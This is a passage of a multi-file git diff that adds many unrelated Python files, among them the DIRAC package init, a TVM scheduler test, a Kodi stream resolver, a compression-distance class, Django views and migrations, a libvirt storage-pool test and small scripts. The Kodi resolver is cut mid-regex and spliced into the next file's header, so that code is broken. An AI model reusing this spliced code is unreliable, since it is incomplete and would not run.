Security + - Utilities + - Workflow + - Framework + - RequestManagement + - Resources + - Transformation + + Which are used by other system providing functionality to + the end user: + - DataManagement + - Interfaces + - ResourceStatus + - StorageManagement + - WorkloadManagement + + It defines the following data members: + - majorVersion: DIRAC Major version number + - minorVersion: DIRAC Minor version number + - patchLevel: DIRAC Patch level number + - preVersion: DIRAC Pre release number + - version: DIRAC version string + - buildVersion: DIRAC version string + + - errorMail: mail address for important errors + - alarmMail: mail address for important alarms + + - pythonPath: absolute real path to the directory that contains this file + - rootPath: absolute real path to the parent of DIRAC.pythonPath + + It loads Modules from : + - DIRAC.Core.Utililies + + It loads: + - S_OK: OK return structure + - S_ERROR: ERROR return structure + - gLogger: global Logger object + - gConfig: global Config object + + It defines the following functions: + - abort: aborts execution + - exit: finish execution using callbacks + - siteName: returns DIRAC name for current site + + - getPlatform(): DIRAC platform string for current host + - getPlatformTuple(): DIRAC platform tuple for current host + +""" + +import sys +import os +import platform as pyPlatform +from pkgutil import extend_path +__path__ = extend_path( __path__, __name__ ) + + +__RCSID__ = "$Id$" + + +# Define Version + +majorVersion = 6 +minorVersion = 20 +patchLevel = 0 +preVersion = 6 + +version = "v%sr%s" % ( majorVersion, minorVersion ) +buildVersion = "v%dr%d" % ( majorVersion, minorVersion ) +if patchLevel: + version = "%sp%s" % ( version, patchLevel ) + buildVersion = "%s build %s" % ( buildVersion, patchLevel ) +if preVersion: + version = "%s-pre%s" % ( version, preVersion ) + buildVersion = "%s pre %s" % ( buildVersion, preVersion ) + +# Check of python version + +__pythonMajorVersion = ( "2", ) +__pythonMinorVersion = ( "7" ) + +pythonVersion = pyPlatform.python_version_tuple() +if str( pythonVersion[0] ) not in __pythonMajorVersion or str( pythonVersion[1] ) not in __pythonMinorVersion: + print "Python Version %s not supported by DIRAC" % pyPlatform.python_version() + print "Supported versions are: " + for major in __pythonMajorVersion: + for minor in __pythonMinorVersion: + print "%s.%s.x" % ( major, minor ) + + sys.exit( 1 ) + +errorMail = "dirac.alarms@gmail.com" +alarmMail = "dirac.alarms@gmail.com" + +# Set rootPath of DIRAC installation + +pythonPath = os.path.realpath( __path__[0] ) +rootPath = os.path.dirname( pythonPath ) + +# Import DIRAC.Core.Utils modules + +#from DIRAC.Core.Utilities import * +from DIRAC.Core.Utilities.Network import getFQDN +import DIRAC.Core.Utilities.ExitCallback as ExitCallback + +from DIRAC.Core.Utilities.ReturnValues import S_OK, S_ERROR + + +# Logger +from DIRAC.FrameworkSystem.Client.Logger import gLogger + +#Configuration client +from DIRAC.ConfigurationSystem.Client.Config import gConfig + +# Some Defaults if not present in the configuration +FQDN = getFQDN() +if len( FQDN.split( '.' ) ) > 2 : + # Use the last component of the FQDN as country code if there are more than 2 components + _siteName = 'DIRAC.Client.%s' % FQDN.split( '.' )[-1] +else: + # else use local as country code + _siteName = 'DIRAC.Client.local' + +__siteName = False + + + +# # Update DErrno with the extensions errors +# from DIRAC.Core.Utilities.ObjectLoader import ObjectLoader +# from DIRAC.ConfigurationSystem.Client.Helpers import CSGlobals +# allExtensions = CSGlobals.getCSExtensions() +# +# # Update for each extension. Careful to conflict :-) +# for extension in allExtensions: +# ol = ObjectLoader( baseModules = ["%sDIRAC" % extension] ) +# extraErrorModule = ol.loadModule( 'Core.Utilities.DErrno' ) +# if extraErrorModule['OK']: +# extraErrorModule = extraErrorModule['Value'] +# +# # The next 3 dictionary MUST be present for consistency +# +# # Global name of errors +# DErrno.__dict__.update( extraErrorModule.extra_dErrName ) +# # Dictionary with the error codes +# DErrno.dErrorCode.update( extraErrorModule.extra_dErrorCode ) +# # Error description string +# DErrno.dStrError.update( extraErrorModule.extra_dStrError ) +# +# # extra_compatErrorString is optional +# for err in getattr( extraErrorModule, 'extra_compatErrorString', [] ) : +# DErrno.compatErrorString.setdefault( err, [] ).extend( extraErrorModule.extra_compatErrorString[err] ) + + +def siteName(): + """ + Determine and return DIRAC name for current site + """ + global __siteName + if not __siteName: + __siteName = gConfig.getValue( '/LocalSite/Site', _siteName ) + return __siteName + +#Callbacks +ExitCallback.registerSignals() + +# platform detection +from DIRAC.Core.Utilities.Platform import getPlatformString, getPlatform, getPlatformTuple + +def exit( exitCode = 0 ): + """ + Finish execution using callbacks + """ + ExitCallback.execute( exitCode, [] ) + sys.exit( exitCode ) + +def abort( exitCode, *args, **kwargs ): + """ + Abort execution + """ + try: + gLogger.fatal( *args, **kwargs ) + os._exit( exitCode ) + except OSError: + gLogger.exception( 'Error while executing DIRAC.abort' ) + os._exit( exitCode ) diff --git a/pool/shard008/Python/0076434_test_meta_schedule_mutator_mutate_parallel.py b/pool/shard008/Python/0076434_test_meta_schedule_mutator_mutate_parallel.py new file mode 100644 index 0000000000000000000000000000000000000000..e263114ef60f249c88f7b0d8753b5c161dd65f35 --- /dev/null +++ b/pool/shard008/Python/0076434_test_meta_schedule_mutator_mutate_parallel.py @@ -0,0 +1,113 @@ +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. +# pylint: disable=missing-module-docstring,missing-function-docstring,missing-class-docstring +from typing import List + +from tvm.meta_schedule import TuneContext +from tvm.meta_schedule.mutator import MutateParallel, Mutator +from tvm.script import tir as T +from tvm.target import Target +from tvm.tir import Schedule + +# pylint: disable=invalid-name, no-member + + +@T.prim_func +def matmul(a: T.handle, b: T.handle, c: T.handle) -> None: + A = T.match_buffer(a, [512, 512]) + B = T.match_buffer(b, [512, 512]) + C = T.match_buffer(c, [512, 512]) + for i, j, k in T.grid(512, 512, 512): # type: ignore + with T.block("C"): + vi, vj, vk = T.axis.remap("SSR", [i, j, k]) # type: ignore + with T.init(): + C[vi, vj] = 0.0 # type: ignore + C[vi, vj] = C[vi, vj] + A[vi, vk] * B[vj, vk] + + +# pylint: enable=invalid-name, no-member + + +def _sch(decisions: List[List[int]], ann_val: int) -> Schedule: + sch = Schedule(matmul, debug_mask="all") + # pylint: disable=invalid-name + d0, d1, d2 = decisions + b0 = sch.get_block(name="C", func_name="main") + root = sch.get_block(name="root", func_name="main") + sch.get_consumers(block=b0) + b1 = sch.cache_write(block=b0, write_buffer_index=0, storage_scope="global") + l2, l3, l4 = sch.get_loops(block=b0) + v5, v6, v7, v8 = sch.sample_perfect_tile( + loop=l2, + n=4, + max_innermost_factor=64, + decision=d0, + ) + l9, l10, l11, l12 = sch.split(loop=l2, factors=[v5, v6, v7, v8]) + v13, v14, v15, v16 = sch.sample_perfect_tile( + loop=l3, + n=4, + max_innermost_factor=64, + decision=d1, + ) + l17, l18, l19, l20 = sch.split(loop=l3, factors=[v13, v14, v15, v16]) + v21, v22 = sch.sample_perfect_tile( + loop=l4, + n=2, + max_innermost_factor=64, + decision=d2, + ) + l23, l24 = sch.split(loop=l4, factors=[v21, v22]) + sch.reorder(l9, l17, l10, l18, l23, l11, l19, l24, l12, l20) + sch.reverse_compute_at(block=b1, loop=l18, preserve_unit_loops=True) + sch.annotate(block_or_loop=root, ann_key="meta_schedule.parallel", ann_val=ann_val) + # pylint: enable=invalid-name + return sch + + +def _make_mutator(target: Target, max_jobs_per_core: int) -> Mutator: + mutator = MutateParallel(max_jobs_per_core) + mutator.initialize_with_tune_context(TuneContext(mod=matmul, target=target)) + return mutator + + +def test_mutate_parallel_matmul(): + mutator = _make_mutator( + target=Target("llvm --num-cores=16"), + max_jobs_per_core=256, + ) + sch = _sch( + decisions=[ + [4, 32, 4, 1], + [8, 4, 8, 2], + [512, 1], + ], + ann_val=64, + ) + results = set() + for _ in range(100): + trace = mutator.apply(sch.trace) + ann_val = int(trace.insts[-1].inputs[1]) + results.add(ann_val) + if len(results) == 3: + break + assert len(results) == 3 + assert results == {4, 32, 4096} + + +if __name__ == """__main__""": + test_mutate_parallel_matmul() diff --git a/pool/shard008/Python/0076441_verystream.py b/pool/shard008/Python/0076441_verystream.py new file mode 100644 index 0000000000000000000000000000000000000000..2905175cebae850514bf36c85c124191a6880aa3 --- /dev/null +++ b/pool/shard008/Python/0076441_verystream.py @@ -0,0 +1,54 @@ +''' + urlresolver Kodi plugin + Copyright (C) 2019 + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +''' + +import re +from lib import helpers +from urlresolver import common +from urlresolver.resolver import UrlResolver, ResolverError + + +class VeryStreamResolver(UrlResolver): + name = "verystream" + domains = ["verystream.com"] + pattern = '(?://|\.)(verystream\.com)/(?:stream|e)/([a-zA-Z0-9]+)' + + def __init__(self): + self.net = common.Net() + + def get_media_url(self, host, media_id): + web_url = self.get_url(host, media_id) + headers = {'User-Agent': common.RAND_UA, + 'Referer': web_url} + response = self.net.http_GET(web_url, headers=headers) + html = response.content + r = re.search('videolink">(.*?)(.*?). + +"""abydos.distance._ncd_lzss. + +NCD using LZSS +""" + +from ._distance import _Distance + +try: + import lzss +except ImportError: # pragma: no cover + # If the system lacks the lzss library, that's fine, but LZSS compression + # similarity won't be supported. + lzss = None # type: ignore + +__all__ = ['NCDlzss'] + + +class NCDlzss(_Distance): + """Normalized Compression Distance using LZSS compression. + + Cf. https://en.wikipedia.org/wiki/Lempel-Ziv-Storer-Szymanski + + Normalized compression distance (NCD) :cite:`Cilibrasi:2005`. + + .. versionadded:: 0.4.0 + """ + + def dist(self, src: str, tar: str) -> float: + """Return the NCD between two strings using LZSS compression. + + Parameters + ---------- + src : str + Source string for comparison + tar : str + Target string for comparison + + Returns + ------- + float + Compression distance + + Raises + ------ + ValueError + Install the PyLZSS module in order to use LZSS + + Examples + -------- + >>> cmp = NCDlzss() + >>> cmp.dist('cat', 'hat') + 0.75 + >>> cmp.dist('Niall', 'Neil') + 1.0 + >>> cmp.dist('aluminum', 'Catalan') + 1.0 + >>> cmp.dist('ATCG', 'TAGC') + 0.8 + + + .. versionadded:: 0.4.0 + + """ + if src == tar: + return 0.0 + + if lzss is not None: + src_comp = lzss.encode(src) + tar_comp = lzss.encode(tar) + concat_comp = lzss.encode(src + tar) + concat_comp2 = lzss.encode(tar + src) + else: # pragma: no cover + raise ValueError('Install the PyLZSS module in order to use LZSS') + + return ( + min(len(concat_comp), len(concat_comp2)) + - min(len(src_comp), len(tar_comp)) + ) / max(len(src_comp), len(tar_comp)) + + +if __name__ == '__main__': + import doctest + + doctest.testmod() diff --git a/pool/shard008/Python/0076446_views.py b/pool/shard008/Python/0076446_views.py new file mode 100644 index 0000000000000000000000000000000000000000..360a58bca36aeecaadb0a71293fa6b23f01ca6dd --- /dev/null +++ b/pool/shard008/Python/0076446_views.py @@ -0,0 +1,38 @@ +from rdflib import Namespace, Literal, URIRef +from rdflib.graph import Graph, ConjunctiveGraph +from django.conf import settings +from django.http import HttpResponse +from functools import partial + +def build_graph(request, path): + # depth param not part of URI proper + s = URIRef(request.build_absolute_uri().split('?')[0]) + cg = ConjunctiveGraph(store=request.store) + def traverse(s, depth=0, graph=None): + if graph is None: + graph = Graph() + [ graph.bind(prefix, uri) + for prefix, uri in settings.NAMESPACES.items() ] + graph += cg.triples((s,None,None)) + if depth > 0: + map(partial(traverse, depth=depth-1, graph=graph), + set(graph.objects(subject=s))) + return graph + return traverse(s, depth=int(request.GET.get('depth', 0))) + +def resource(request, path): + g = build_graph(request, path) + content_type = request.META.get('HTTP_ACCEPT', 'text/turtle') + if content_type == 'application/json': + content = g.serialize(format='json-ld', + context=settings.JSON_LD_CONTEXT) + else: + content_type = 'text/turtle' + content = g.serialize(format='turtle') + return HttpResponse(content, content_type=content_type) + +def resource_as_json_ld(request, path): + g = build_graph(request, path) + +def resource_as_turtle(request, path): + g = build_graph(request, path) diff --git a/pool/shard008/Python/0076447_board.py b/pool/shard008/Python/0076447_board.py new file mode 100644 index 0000000000000000000000000000000000000000..0bb95f35e283c303ade6f5a63d6bd4d1c79a0610 --- /dev/null +++ b/pool/shard008/Python/0076447_board.py @@ -0,0 +1,114 @@ +# Copyright (c) 2013, Ny Fanilo Andrianjafy +# All rights reserved. +# +# Redistribution and use in source and binary forms, with or without +# modification, are permitted provided that the following conditions are met: +# +# 1. Redistributions of source code must retain the above copyright notice, this +# list of conditions and the following disclaimer. +# 2. Redistributions in binary form must reproduce the above copyright notice, +# this list of conditions and the following disclaimer in the documentation +# and/or other materials provided with the distribution. +# +# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND +# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR +# ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES +# (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; +# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND +# ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS +# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. +# +# The views and conclusions contained in the software and documentation are those +# of the authors and should not be interpreted as representing official policies, +# either expressed or implied, of the FreeBSD Project. + +from move import Move + +class Board: + """This class represents the board of the game""" + def __init__(self): + """Ctor""" + self.white_board = self._init_white_board() + self.black_board = self._init_black_board() + + def move_piece(self, play, black): + """Moves piece that was selected""" + A = 65 #The letter A in ASCII + x1 = ord(play[0].strip().upper()) - A + y1 = int(play[1]) - 1 + x2 = ord(play[2].strip().upper()) - A + y2 = int(play[3]) - 1 + + start = x1 + (y1 * 9) + end = x2 + (y2 * 9) + + if black: + if not Move.is_legal_move(start, end, self.black_board, self.white_board): + return False + + self.black_board = Move.apply_attack_move(start, end, self.black_board) + self.white_board = Move.apply_defense_move(start, end, self.white_board) + else: + if not Move.is_legal_move(start, end, self.white_board, self.black_board): + return False + + self.white_board = Move.apply_attack_move(start, end, self.white_board) + self.black_board = Move.apply_defense_move(start, end, self.black_board) + + return True + + def check(self, pos): + """Check what is on the board at a given position""" + val = 1 << pos + if self.white_board & val == val: + return 1 + elif self.black_board & val == val: + return 2 + else: + return 0 + + def game_is_finished(self): + """Returns whether the game is finished or not""" + return self.white_board == 0 or self.black_board == 0 + + def print_board(self): + """Prints the current state board""" + print " A B C D E F G H I" + for i in range(5): + line = str(5-i) + " " + for j in range(9): + stone = self.check((4-i) * 9 + j) + if stone == 1: + line += "O " + elif stone == 2: + line += "X " + else: + line += ". " + + print line + + print "" + + def _init_white_board(self): + """Initializes the white board""" + white_board = 0L + for i in range(26, -1, -1): + white_board = white_board << 1 + + if not i in [18, 20, 22, 23, 25]: + white_board |= 1 + + return white_board + + def _init_black_board(self): + """Initializes the black board""" + black_board = 1L << 44 + + for i in range(18, 44): + if not i in [19, 21, 22, 24, 26]: + black_board |= 1 << i + + return black_board \ No newline at end of file diff --git a/pool/shard008/Python/0076448_0001_initial.py b/pool/shard008/Python/0076448_0001_initial.py new file mode 100644 index 0000000000000000000000000000000000000000..7f71495040adde6b3aa74ef4464acf722a86edeb --- /dev/null +++ b/pool/shard008/Python/0076448_0001_initial.py @@ -0,0 +1,39 @@ +# -*- coding: utf-8 -*- +from __future__ import unicode_literals + +from django.db import models, migrations + + +class Migration(migrations.Migration): + + dependencies = [ + ] + + operations = [ + migrations.CreateModel( + name='Item', + fields=[ + ('id', models.AutoField(auto_created=True, serialize=False, primary_key=True, verbose_name='ID')), + ('name', models.CharField(max_length=64)), + ('quantity', models.PositiveIntegerField()), + ('price', models.PositiveIntegerField()), + ], + ), + migrations.CreateModel( + name='Owner', + fields=[ + ('id', models.AutoField(auto_created=True, serialize=False, primary_key=True, verbose_name='ID')), + ('name', models.CharField(max_length=64)), + ], + ), + migrations.CreateModel( + name='SmartItem', + fields=[ + ('id', models.AutoField(auto_created=True, serialize=False, primary_key=True, verbose_name='ID')), + ('name', models.CharField(max_length=64)), + ('quantity', models.PositiveIntegerField()), + ('price', models.PositiveIntegerField()), + ('owner', models.ForeignKey(to='yaat_examples.Owner')), + ], + ), + ] diff --git a/pool/shard008/Python/0076449_concretize.py b/pool/shard008/Python/0076449_concretize.py new file mode 100644 index 0000000000000000000000000000000000000000..d28f7b4a5d9d2754c562356b87ee366f52a53b1f --- /dev/null +++ b/pool/shard008/Python/0076449_concretize.py @@ -0,0 +1,24 @@ +# Copyright 2013-2020 Lawrence Livermore National Security, LLC and other +# Spack Project Developers. See the top-level COPYRIGHT file for details. +# +# SPDX-License-Identifier: (Apache-2.0 OR MIT) + +import spack.environment as ev + +description = 'concretize an environment and write a lockfile' +section = "environments" +level = "long" + + +def setup_parser(subparser): + subparser.add_argument( + '-f', '--force', action='store_true', + help="Re-concretize even if already concretized.") + + +def concretize(parser, args): + env = ev.get_env(args, 'concretize', required=True) + with env.write_transaction(): + concretized_specs = env.concretize(force=args.force) + ev.display_specs(concretized_specs) + env.write() diff --git a/pool/shard008/Python/0076452_setup.py b/pool/shard008/Python/0076452_setup.py new file mode 100644 index 0000000000000000000000000000000000000000..e7bb31704f5f3cf215a818b9cf678232111f832e --- /dev/null +++ b/pool/shard008/Python/0076452_setup.py @@ -0,0 +1,36 @@ +from setuptools import setup, find_packages + +NAME = 'Conjur' +VERSION = '0.4.5' + +try: + import pypandoc + long_description = pypandoc.convert('README.md', 'rst') +except(IOError, ImportError): + print("Warning: Unable to convert README.md to rst!") + long_description = open('README.md').read() + + +setup( + name=NAME, + version=VERSION, + packages=find_packages(), + python_requires='<3', + install_requires=open('requirements.txt').readlines(), + package_data={}, + author='Jon Mason', + author_email='jon@conjur.net', + description='Python2-only client for the Conjur v4 API', + long_description=long_description, + long_description_content_type='text/markdown', + license='MIT', + url='https://github.com/conjurinc/api-python', + classifiers=[ + 'Intended Audience :: Developers', + 'Natural Language :: English', + 'License :: OSI Approved :: MIT License', + 'Programming Language :: Python', + 'Programming Language :: Python :: 2', + 'Programming Language :: Python :: 2.7' + ] +) diff --git a/pool/shard008/Python/0076453_define_dir_pool.py b/pool/shard008/Python/0076453_define_dir_pool.py new file mode 100644 index 0000000000000000000000000000000000000000..780299ae952814afd0340f714bbf915cd85d06ab --- /dev/null +++ b/pool/shard008/Python/0076453_define_dir_pool.py @@ -0,0 +1,86 @@ +# Copyright (C) 2010-2012 Red Hat, Inc. +# This work is licensed under the GNU GPLv2 or later. +# Define storage pool of 'dir' type + +import os + +from libvirt import libvirtError +from libvirttestapi.src import sharedmod +from libvirttestapi.repos.storage import storage_common +from libvirttestapi.utils import process + +VIRSH_POOLLIST = "virsh --quiet pool-list --all|awk '{print $1}'|grep \"^%s$\"" +POOL_STAT = "virsh --quiet pool-list --all|grep \"^%s\\b\" |grep \"inactive\"" +POOL_DESTROY = "virsh pool-destroy %s" +POOL_UNDEFINE = "virsh pool-undefine %s" + +required_params = ('poolname',) +optional_params = {'targetpath': '/var/lib/libvirt/images/dirpool', + 'xml': 'xmls/dir_pool.xml', + } + + +def define_dir_pool(params): + """Define a dir type storage pool from xml""" + logger = params['logger'] + poolname = params['poolname'] + xmlstr = params['xml'] + + conn = sharedmod.libvirtobj['conn'] + + if not storage_common.check_pool(conn, poolname, logger): + logger.error("%s storage pool is defined" % poolname) + return 1 + + targetpath = params.get('targetpath', '/var/lib/libvirt/images/dirpool') + if not os.path.exists(targetpath): + os.mkdir(targetpath) + + logger.debug("storage pool xml:\n%s" % xmlstr) + + pool_num1 = conn.numOfDefinedStoragePools() + logger.info("original storage pool define number: %s" % pool_num1) + storage_common.display_pool_info(conn, logger) + + try: + logger.info("define %s storage pool" % poolname) + conn.storagePoolDefineXML(xmlstr, 0) + pool_num2 = conn.numOfDefinedStoragePools() + logger.info("current storage pool define number: %s" % pool_num2) + storage_common.display_pool_info(conn, logger) + if storage_common.check_pool_define(poolname, logger) and pool_num2 > pool_num1: + logger.info("define %s storage pool is successful" % poolname) + else: + logger.error("%s storage pool is undefined" % poolname) + return 1 + except libvirtError as e: + logger.error("API error message: %s, error code is %s" + % (e.get_error_message(), e.get_error_code())) + return 1 + + return 0 + + +def define_dir_pool_clean(params): + logger = params['logger'] + poolname = params['poolname'] + + ret = process.run(VIRSH_POOLLIST % poolname, shell=True, ignore_status=True) + if not ret.exit_status: + logger.info("remove storage pool %s" % poolname) + ret = process.run(POOL_STAT % poolname, shell=True, ignore_status=True) + if ret.exit_status: + ret = process.run(POOL_DESTROY % poolname, shell=True, ignore_status=True) + if ret.exit_status: + logger.error("failed to destroy storage pool %s" % poolname) + logger.error("%s" % ret.stderr) + else: + ret = process.run(POOL_UNDEFINE % poolname, shell=True, ignore_status=True) + if ret.exit_status: + logger.error("failed to undefine storage pool %s" % poolname) + logger.error("%s" % ret.stderr) + else: + ret = process.run(POOL_UNDEFINE % poolname, shell=True, ignore_status=True) + if ret.exit_status: + logger.error("failed to undefine storage pool %s" % poolname) + logger.error("%s" % ret.stderr) diff --git a/pool/shard008/Python/0076464_forms.py b/pool/shard008/Python/0076464_forms.py new file mode 100644 index 0000000000000000000000000000000000000000..7a135289d0f5b5628accddf64987b9497d28a845 --- /dev/null +++ b/pool/shard008/Python/0076464_forms.py @@ -0,0 +1,11 @@ +from django import forms +from .models import * +class formulario_disco(forms.ModelForm): + class Meta: + model=DiscoGenerator + widgets={ + 'artista':forms.TextInput(attrs={'placeholder':'Artista','class' : 'form-field'}), + 'titulo':forms.TextInput(attrs={'placeholder':'Titulo','class' : 'form-field'}), + 'estilo':forms.TextInput(attrs={'placeholder':'Estilo','class' : 'form-field'}), + } + fields = ('artista','titulo','estilo','portada') diff --git a/pool/shard008/Python/0076471_myBayes.py b/pool/shard008/Python/0076471_myBayes.py new file mode 100644 index 0000000000000000000000000000000000000000..4581041503cd64bde7a26ddafa63317526c5e9bb --- /dev/null +++ b/pool/shard008/Python/0076471_myBayes.py @@ -0,0 +1,189 @@ +import traceback +from submissions.LaMartina import airlines + + +class DataFrame: + data = [] + feature_names = [] + target = [] + target_names = [] + +flights = DataFrame() + +''' +Extract data from the CORGIS airlines. +''' +joint = {} + +airline = airlines.get_reports() + +for airport in airline: + try: + port = airport['airport']['code'] + #weatherdelay is the minutes of weather delay at that airport + weatherdelay = airport['statistics']['minutes delayed']['weather'] + aviationdelay = airport['statistics']['minutes delayed']['national aviation system'] + securitydelay = airport['statistics']['minutes delayed']['security'] + carrierdelay = airport['statistics']['minutes delayed']['carrier'] + totalflights = airport['statistics']['flights']['total'] + joint[port] = {} + joint[port]['Weather Delay Time'] = weatherdelay + joint[port]['Aviation Delay Time'] = aviationdelay + joint[port]['Security Delay Time'] = securitydelay + joint[port]['Carrier Delay Time'] = carrierdelay + joint[port]['Number of Flights'] = totalflights + except: + traceback.print_exc() + +flights.data = [] + +''' +Build the input frame, row by row. +''' +for port in joint: + # choose the input values + flights.data.append([ + #port, + joint[port]['Weather Delay Time'], + joint[port]['Aviation Delay Time'], + joint[port]['Security Delay Time'], + joint[port]['Carrier Delay Time'], + #joint[port]['Number of Flights'], + ]) +flights.feature_names = [ + 'Weather Delay Time', + 'Aviation Delay Time', + 'Security Delay Time', + 'Carrier Delay Time' +] +''' +Build the target list, +one entry for each row in the input frame. + +The Naive Bayesian network is a classifier, +i.e. it sorts data points into bins. +The best it can do to estimate a continuous variable +is to break the domain into segments, and predict +the segment into which the variable's value will fall. +In this example, I'm breaking Trump's % into two +arbitrary segments. +''' +flights.target = [] + +def flightsTarget(flightnum): + if flightnum > 600: + return 1 + return 0 + +for port in joint: + # choose the target + fl = flightsTarget(joint[port]['Number of Flights']) + flights.target.append(fl) + +flights.target_names = [ + 'Offered Flights <= 600', + 'Offered Flights > 600', +] + +Examples = { + 'Flights': flights, +} + + +# for county in airlines: +# try: +# st = county['Location']['State Abbreviation'] +# countyST = county['Location']['County'] + st +# trump = county['Vote Data']['Donald Trump']['Percent of Votes'] +# joint[countyST] = {} +# joint[countyST]['ST']= st +# joint[countyST]['Trump'] = trump +# except: +# traceback.print_exc() +# +# demographics = county_demographics.get_all_counties() +# for county in demographics: +# try: +# countyNames = county['County'].split() +# cName = ' '.join(countyNames[:-1]) +# st = county['State'] +# countyST = cName + st +# elderly = county['Age']["Percent 65 and Older"] +# college = county['Education']["Bachelor's Degree or Higher"] +# home = county['Housing']["Homeownership Rate"] +# poverty = county['Income']["Persons Below Poverty Level"] +# if countyST in joint: +# joint[countyST]['Elderly'] = elderly +# joint[countyST]['College'] = college +# joint[countyST]['Home'] = home +# joint[countyST]['Poverty'] = poverty +# except: +# traceback.print_exc() +# +# ''' +# Remove the counties that did not appear in both samples. +# ''' +# intersection = {} +# for countyST in joint: +# if 'College' in joint[countyST]: +# intersection[countyST] = joint[countyST] +# +# trumpECHP.data = [] +# +# ''' +# Build the input frame, row by row. +# ''' +# for countyST in intersection: +# # choose the input values +# trumpECHP.data.append([ +# # countyST, +# # intersection[countyST]['ST'], +# # intersection[countyST]['Trump'], +# intersection[countyST]['Elderly'], +# intersection[countyST]['College'], +# intersection[countyST]['Home'], +# intersection[countyST]['Poverty'], +# ]) +# +# trumpECHP.feature_names = [ +# # 'countyST', +# # 'ST', +# # 'Trump', +# 'Elderly', +# 'College', +# 'Home', +# 'Poverty', +# ] +# +# ''' +# Build the target list, +# one entry for each row in the input frame. +# +# The Naive Bayesian network is a classifier, +# i.e. it sorts data points into bins. +# The best it can do to estimate a continuous variable +# is to break the domain into segments, and predict +# the segment into which the variable's value will fall. +# In this example, I'm breaking Trump's % into two +# arbitrary segments. +# ''' +# trumpECHP.target = [] +# +# def trumpTarget(percentage): +# if percentage > 45: +# return 1 +# return 0 +# +# for countyST in intersection: +# # choose the target +# tt = trumpTarget(intersection[countyST]['Trump']) +# trumpECHP.target.append(tt) +# +# trumpECHP.target_names = [ +# 'Trump <= 45%', +# 'Trump > 45%', +# ] +# # +# Examples = { +# # 'Trump': trumpECHP, +# } \ No newline at end of file diff --git a/pool/shard008/Python/0076480_Joystick.robotHand.py b/pool/shard008/Python/0076480_Joystick.robotHand.py new file mode 100644 index 0000000000000000000000000000000000000000..85c76e2da53e9581a0e58885b23975b01ea9f1ae --- /dev/null +++ b/pool/shard008/Python/0076480_Joystick.robotHand.py @@ -0,0 +1,39 @@ +arduino = Runtime.createAndStart("arduino","Arduino") +joystick = runtime.createAndStart("joystick","Joystick") +hand = Runtime.createAndStart("hand","Servo") +arduino.connect("COM3", 57600, 8, 1, 0) +sleep(4) +arduino.attach(hand.getName() , 2) + +b = 100 +print b +hand.moveTo(b) + +def x(): + global b + x = msg_joystick_XAxisRaw.data[0] + print x + if (x == 1): + b += 1 + print b + hand.moveTo(b) + + elif (x == -1): + b -= 1 + print b + hand.moveTo(b) + return +def a(): + # the API is 0 based cause arrays are 0 based - but when I count button I start with 1 + # so now buttons start @ 1 msg_joystick_button1 = button1 - its the "right" thing to do ... + # anyway Alessandruino said we are men not machines - so I will make it manly and not sissy machine ! + a = msg_joystick_button1.data[0] + print a + if (a == 1): + print 'button pressed' + elif ( a == 0): + print 'button not pressed' + +#create a message route from joy to python so we can listen for button +joystick.addListener("XAxisRaw", python.name, "x") +joystick.addListener("button1", python.name, "a") diff --git a/pool/shard008/Python/0076486_exp3g.py b/pool/shard008/Python/0076486_exp3g.py new file mode 100644 index 0000000000000000000000000000000000000000..e61067ff5d842faf5520ca9aa384135bfde9bf60 --- /dev/null +++ b/pool/shard008/Python/0076486_exp3g.py @@ -0,0 +1,16 @@ +import numpy as np + + +class Exp3G: + def __init__(self, gamma, eta, experts_count): + self.gamma = gamma + self.eta = eta + self.experts_count = experts_count + self.weights = np.ones(experts_count) + + def get_current_expert_probabilities(self): + weights_sum = np.sum(self.weights) + return ((1 - self.gamma) * (self.weights / weights_sum)) + (self.gamma / self.experts_count) + + def update_weights(self, expert_payoffs): + self.weights *= np.exp(expert_payoffs * self.eta) diff --git a/pool/shard008/Python/0076491_enum.py b/pool/shard008/Python/0076491_enum.py new file mode 100644 index 0000000000000000000000000000000000000000..5fcae10ef2a18bf30b019a17e918cc3a04081cb9 --- /dev/null +++ b/pool/shard008/Python/0076491_enum.py @@ -0,0 +1,115 @@ +#!/usr/bin/env python +#-*- coding: utf-8 -*- + +import string + +class EnumMetaClass: + """Metaclass for enumeration. + + To define your own enumeration, do something like + + class Color(Enum): + red = 1 + green = 2 + blue = 3 + + Now, Color.red, Color.green and Color.blue behave totally + different: they are enumerated values, not integers. + + Enumerations cannot be instantiated; however they can be + subclassed. + + """ + + def __init__(self, name, bases, dict): + """Constructor -- create an enumeration. + + Called at the end of the class statement. The arguments are + the name of the new class, a tuple containing the base + classes, and a dictionary containing everything that was + entered in the class' namespace during execution of the class + statement. In the above example, it would be {'red': 1, + 'green': 2, 'blue': 3}. + + """ + for base in bases: + if base.__class__ is not EnumMetaClass: + raise TypeError, "Enumeration base class 